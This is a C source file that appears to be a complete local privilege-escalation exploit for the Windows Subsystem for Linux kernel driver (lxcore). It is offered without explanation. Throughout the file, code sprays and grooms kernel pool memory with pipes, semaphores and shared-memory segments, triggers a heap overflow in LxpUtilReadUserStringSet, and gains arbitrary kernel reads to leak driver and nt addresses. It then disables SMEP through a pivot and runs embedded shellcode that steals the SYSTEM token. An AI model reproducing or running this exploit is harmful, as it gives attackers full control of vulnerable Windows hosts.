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#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/mman.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/shm.h> #define RING_SIZE 0x2000000 #define PIPE_SIZE 0xb8 #define PTR_SIZE 0x8 #define STR_HDR_SIZE 0x18 #define LEAK_OFFSET 0x68 #define SHELLCODE_OFFSET 0x200 #define CHUNK_LVXF_OFFSET 0x138f4296 #define CR4_VAL_ADDR 0x506f8 #define MAGIC_KEY 0xefef #define NT_OFFSET_TO_PIVOT 0x288005 size_t curr_key = 0; char SHELLCODE[] = { //0xcc, 0x90, // CLI 0x90, // PUSHFQ 0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer 0x50, // PUSH RAX 0x51, // PUSH RCX 0x90, 0x90, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset] 0x90, 0x90, 0x90, // MOVQWORD PTR [RCX], RAX 0xb9, 0xfc, 0x11, 0x00, 0x00, // MOV ECX, PID 0x53, // PUSH RBX 0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOVRAX,QWORD PTR gs:0x188 0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOVRAX,QWORD PTR [RAX+0xb8] EPROCESS 0x48, 0x8d, 0x80, 0xe8, 0x02, 0x00, 0x00, // LEARAX,[RAX+0xActiveProcessLinkOffset] //<tag> 0x48, 0x8b, 0x00, // MOVRAX,QWORD PTR [RAX] 0x48, 0x8b, 0x58, 0xf8, // MOVRBX,QWORD PTR [RAX-8] // UniqueProcessID 0x48, 0x83, 0xfb, 0x04, // CMPRBX,0x4 0x75, 0xf3, // JNE<tag> 0x48, 0x8b, 0x58, 0x70, // MOVRBX, QWORD PTR [RAX+0x70] // GET TOKEN of SYSTEM 0x90, 0x90, 0x90, 0x53, // PUSH RBX //<tag2> 0x48, 0x8b, 0x00, // MOVRAX,QWORD PTR [RAX] 0x48, 0x8b, 0x58, 0xf8, // MOVRBX,QWORD PTR [RAX-8] // UniqueProcessID 0x39, 0xcb, // CMPEBX, ECX // our PID 0x75, 0xf5, // JNE<tag2> 0x5b, // POP RBX 0x48, 0x89, 0x58, 0x70, // MOVQWORD PTR[RAX +0x70], RBX 0x90, 0x90, 0x90, 0x5b, // POP RBX 0x59, // POP RCX 0x58, // POP RAX 0x90, // POPFQ 0xc3 // RET }; int calc_stop_idx(size_t alloc_size, size_t factor); int get_size_factor(size_t spray_size, size_t *factor); int trigger_corruption(int spray_size); int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx); int spray(size_t count); int alloc_sem(size_t factor); int free_sem(int key); char *get_faked_shm(); void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid); void trigger_shm(size_t shmid); void print_shm(struct shmid_ds *buf); void *absolute_read(void* obj, size_t shmid, void *addr); int alloc_shm(size_t key); int shape(size_t *spray_size); int calc_stop_idx(size_t alloc_size, size_t factor) { size_t totalStringsLength, headersLength; totalStringsLength = (factor - 1) * 2 + 0xd001; headersLength = (factor * STR_HDR_SIZE) % (0x100000000); return (alloc_size + 496 + 0xc000) / STR_HDR_SIZE; } int get_size_factor(size_t spray_size, size_t *factor) { if (spray_size != 0x2000000) { printf("SPRAY_SIZE ISSUE\n"); exit(1); } *factor = 0xab13aff - 0x800*2; return 0x15fffdfc; } int trigger_corruption(int spray_size) { size_t factor = 0, alloc_size, stopIdx; int ret; alloc_size = get_size_factor(spray_size, &factor); if (alloc_size < 0) { printf("[*err*] unsupported spray_size == 0x%x", spray_size); return -1; } stopIdx = calc_stop_idx(alloc_size, factor); ret = call_LxpUtilReadUserStringSet(factor + 1, 1, 'O', stopIdx); printf("[*] trigger_corruption() returned 0x%x\n", ret); return 0; } int call_LxpUtilReadUserStringSet(size_t argc, size_t innerSize, char pattern, size_t stopIdx) { char **argv, *innerBuf, *stopInnerBuf = NULL; size_t pid; argv = (char*)mmap(NULL, argc * sizeof(char*), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if(!argv) { perror("[*err*] malloc argv failed\n"); return -1; } innerBuf = (char*)malloc(innerSize); if (!innerBuf) { printf("[*err*] malloc innerBuf failed\n"); return -1; } memset(innerBuf, pattern, innerSize); for(size_t i = 0; i < argc - 1; ++i) { argv[i] = innerBuf; } argv[argc-1] = NULL; pid = fork(); if (pid) { // parent if(stopIdx > 0) { sleep(1.5); printf("[*] set stopIdx, stopping wildcopy\n"); argv[stopIdx] = NULL; } return 0; } else { // son argv[stopIdx - 1] = (char*)malloc(0xe000); memset(argv[stopIdx - 1], "X", 0xd000-1); argv[stopIdx - 1][0xd000-1] = '\0'; argv[stopIdx - 7] = (char*)malloc(0xe000); memset(argv[stopIdx - 7], "X", 0xd000-1); argv[stopIdx - 7][0xd000-1] = '\0'; // this execve is on nonsense "program", so it will return err. // Just kill the thread. execve(argv[0], argv, NULL); exit(1); } } /* spray <count> chunks, and return number of total bytes allocated */ int spray(size_t count) { int exec[2]; int pipe_capacity = 0, ret = 0; for (size_t i = 0; i < count; ++i) { if (pipe(exec) < 0) { printf("[*err*] pipe\n"); ret = -1; goto cleanup; } pipe_capacity = fcntl(exec[1], F_SETPIPE_SZ, RING_SIZE); if(pipe_capacity < 0) { printf("[*err*] fcntl return neg capacity\n"); ret = -1; goto cleanup; } ret += pipe_capacity; } cleanup: return ret; } /* allocate 12 * v_nsems + 176 */ int alloc_sem(size_t factor) { int semid; int nsems = factor; semid = semget(curr_key++, nsems, IPC_CREAT | 0666); if(semid == -1) { printf("[*err*]semget failed, errno == 0x%x\n", errno); return -1; } return semid; } int free_sem(int key) { if(semctl(key, 0, IPC_RMID, 0) == -1) { printf("[*err*] semctl failed, errno == 0x%x\n", errno); return -1; } return 0; } char *get_faked_shm() { size_t shellcode_length = 0; char *obj = (char*)mmap(0xc000, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0x0); char *shellcode_ptr; if (obj == (void*)-1) { printf("[*err*] mmap failed\n"); return NULL; } char *cr4_addr = (char*)mmap(CR4_VAL_ADDR & ~0xfff, 0x10000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0x0); if (cr4_addr == (void*)-1) { printf("[*err*] mmap failed\n"); return NULL; } memset(cr4_addr, 0x0, 0x10000); printf("[*] mmap userspace addr %p, set faked shm object\n", obj); obj += 0x1000; shellcode_ptr = obj + 0x200; initialize_fake_obj(obj, shellcode_ptr, NULL, 0x41414141, -1); return obj; } void initialize_fake_obj(char *obj, char *shellcode_ptr, char *read_addr, size_t fake_shmid, size_t pid) { size_t val = 0x4141414141414141, val2 = 7, val3 = CR4_VAL_ADDR; char *obj2 = obj+0x1000; memset(obj - 0x100, 0x0, 0x1000); memcpy(obj, &read_addr, sizeof(size_t)); memcpy((obj+0x10), &val, sizeof(size_t)); memcpy(obj - 0x20, &val2, sizeof(size_t)); memcpy(obj - 0x68, &obj, sizeof(char*)); memcpy(obj + 0x28, &shellcode_ptr, sizeof(char*)); memcpy(obj - 0x80, &obj, sizeof(char*)); memcpy((obj + 0x40), &val, sizeof(size_t)); memcpy(CR4_VAL_ADDR + 0x10, &fake_shmid, sizeof(size_t)); memcpy(CR4_VAL_ADDR - 0x20, &val2, sizeof(size_t)); memcpy(CR4_VAL_ADDR - 0x80, &val3, sizeof(char*)); memcpy(CR4_VAL_ADDR - 0x68, &val3, sizeof(char*)); memcpy(CR4_VAL_ADDR + 0x28, &shellcode_ptr, sizeof(char*)); memcpy((CR4_VAL_ADDR + 0x40), &val, sizeof(size_t)); memcpy(CR4_VAL_ADDR + 0x18, &val2, sizeof(size_t)); // refcount memcpy((CR4_VAL_ADDR + 0x50), &obj2, sizeof(size_t)); memcpy((CR4_VAL_ADDR + 0x90), &val3, sizeof(size_t)); memcpy(obj + SHELLCODE_OFFSET, SHELLCODE, sizeof(SHELLCODE)); memcpy(obj + SHELLCODE_OFFSET + 28, &pid, 4); } void trigger_shm(size_t shmid) { char *data; data = shmat(shmid, (void*)0, 0); } void print_shm(struct shmid_ds *buf) { printf ("\nThe USER ID = %p\n", buf->shm_perm.uid); printf ("The GROUP ID = %p\n", buf->shm_perm.gid); printf ("The creator's ID = %p\n", buf->shm_perm.cuid); printf ("The creator's group ID = %p\n", buf->shm_perm.cgid); printf ("The operation permissions = 0%o\n", buf->shm_perm.mode); printf ("The slot usage sequence\n"); //printf ("number = 0%x\n", buf->shm_perm.seq); //printf ("The key= 0%x\n", buf->shm_perm.key); printf ("The segment size = %p\n", buf->shm_segsz); printf ("The pid of last shmop = %p\n", buf->shm_lpid); printf ("The pid of creator = %p\n", buf->shm_cpid); printf ("The current # attached = %p\n", buf->shm_nattch); printf("The last shmat time = %p\n", buf->shm_atime); printf("The last shmdt time = %p\n", buf->shm_dtime); printf("The last change time = %p\n", buf->shm_ctime); } void *absolute_read(void* obj, size_t shmid, void *addr) { struct shmid_ds shm; initialize_fake_obj(obj, obj + SHELLCODE_OFFSET, addr, shmid, -1); shmctl(shmid, IPC_STAT, &shm); return (void*)shm.shm_ctime; } int alloc_shm(size_t key) { int shmid; shmid = shmget(key, 1024, 0644 | IPC_CREAT); return shmid; } int shape(size_t *spray_size) { size_t keys[0x400]; int exec[2]; int sv[2]; char flag; size_t bytes = 0, tofree = 0; size_t factor,hole_size; struct flock fl; memset(&fl, 0, sizeof(fl)); pid_t pid, wpid; int status; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) { printf("[*err] socketpair failed\n"); return 1; } bytes = spray(1); if (bytes == (size_t)-1) { printf("[*err*] bytes < 0, are you root?\n"); return 1; } *spray_size = bytes; hole_size = get_size_factor(*spray_size, &factor); tofree = hole_size / (bytes / 1) + 1; printf("[*] allocate holes before the workspace\n"); for (int i = 0; i < 0x400; ++i) { keys[i] = alloc_sem(0x7000); } for (int i = 0; i < 0x20; ++i) { alloc_sem(0x7000); } for (int i = 0; i < 0x2000; ++i) { alloc_sem(4063); } for (int i = 0; i < 0x2000; ++i) { alloc_sem(3); } pid = fork(); if (pid > 0) { printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n"); bytes = spray(5); write(sv[1], "p", 1); read(sv[1], &flag, 1); } else { // son read(sv[0], &flag, 1); printf("[*] alloc workspace pages\n"); bytes = spray(tofree); printf("[*] finish allocate workspace allocations\n"); write(sv[0], "p", 1); } if (pid > 0) { printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n"); for (int i = 0; i < 0x100; ++i) { alloc_sem(4061); for (int j = 0; j < 0x5; ++j) { alloc_shm(i * 0x100 + j); } } write(sv[1], "p", 1); } else { read(sv[0], &flag, 1); printf("[*] free middle allocation, creating workspace freed\n"); exit(1); } while ((wpid = wait(&status)) > 0); printf("[*] free prepared holes, create little pages holes before the workspace\n"); for (int i = 0; i < 0x400; ++i) { free_sem(keys[i]); } return 0; } int main(int argc, char **argv) { size_t spray_size = 0; char *obj; void *paged_pool_addr, *file_obj, *lxcore_addr, *nt_c_specific_handler; void *nt_addr; obj = get_faked_shm(); printf("[*] start shaping\n"); if (shape(&spray_size)) { printf("[*err*] shape failed, exit\n"); return 1; } // if there is some shm with shmid==0, delete it shmctl(0, IPC_RMID, NULL); printf("[*] shape is done\n"); if (trigger_corruption(spray_size) < 0) { printf("[*err*] internal error\n"); return 1; } sleep(8); printf("[*] leak shm, with the corrupted shmid\n"); paged_pool_addr = absolute_read(obj, 1, NULL); printf("[*] infoleak - PagedPool addr at %p\n", paged_pool_addr); file_obj = absolute_read(obj, 0xffff, paged_pool_addr + CHUNK_LVXF_OFFSET - LEAK_OFFSET); printf("[*] infoleak - fileObj addr at %p\n", file_obj); lxcore_addr = absolute_read(obj, 0, file_obj - 0x68 - LEAK_OFFSET); printf("[*] infoleak - lxcore!LxpSharedSectionFileType addr at %p\n", lxcore_addr); nt_c_specific_handler = absolute_read(obj, 0, lxcore_addr + 0x8b90 - LEAK_OFFSET); printf("[*] infoleak - nt!_C_specific_handler addr at %p\n", nt_c_specific_handler); printf("[*] call nt pivot, disable SMEP\n"); initialize_fake_obj(obj, nt_c_specific_handler + NT_OFFSET_TO_PIVOT, CR4_VAL_ADDR, MAGIC_KEY, -1); trigger_shm(MAGIC_KEY); sleep(5); printf("[*] jump to shellcode!\n"); initialize_fake_obj(obj, obj+0x200, CR4_VAL_ADDR, MAGIC_KEY, atoi(argv[1])); trigger_shm(MAGIC_KEY); sleep(2); return 0; } |
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